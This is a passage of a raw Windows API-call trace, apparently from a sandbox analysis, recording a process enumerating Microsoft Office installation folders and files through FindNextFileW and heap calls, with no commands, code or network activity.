hFindFile=0x4260800, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0060.764] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x981606a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x981606a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2446a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="accessmui.msi.16_accessmui.mcxml", cAlternateFileName="ACCESS~2.MCX")) returned 1 [0060.766] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0060.766] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0060.766] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0060.766] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0060.766] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0060.766] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0060.769] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0060.769] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0 [0060.769] FindClose (in: hFindFile=0x4260300 | out: hFindFile=0x4260300) returned 1 [0060.769] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0060.769] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1 [0061.266] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0061.266] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0061.268] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0061.269] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0061.277] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0061.278] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0061.292] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0061.292] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0061.295] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0061.295] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0061.308] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0061.308] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0061.309] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0061.309] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0061.309] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0061.309] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0061.309] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0061.309] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0061.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0061.311] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0061.314] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.314] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0061.672] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.672] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0061.674] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.674] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0061.675] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.675] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0061.677] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.677] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0061.678] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.678] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0061.680] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.680] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0061.681] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.681] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0061.683] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.683] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0061.684] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.684] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0061.686] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.686] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0061.688] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.688] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0061.689] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0061.689] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0062.243] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.243] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0062.245] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.245] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0062.247] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.247] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0062.249] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.249] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0062.252] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.252] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1 [0062.256] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.256] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0062.257] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x43fbfd8, Size=0x80000) returned 0x44ea020 [0062.266] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.266] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0062.269] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.269] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0062.271] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.271] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0062.274] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.274] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, 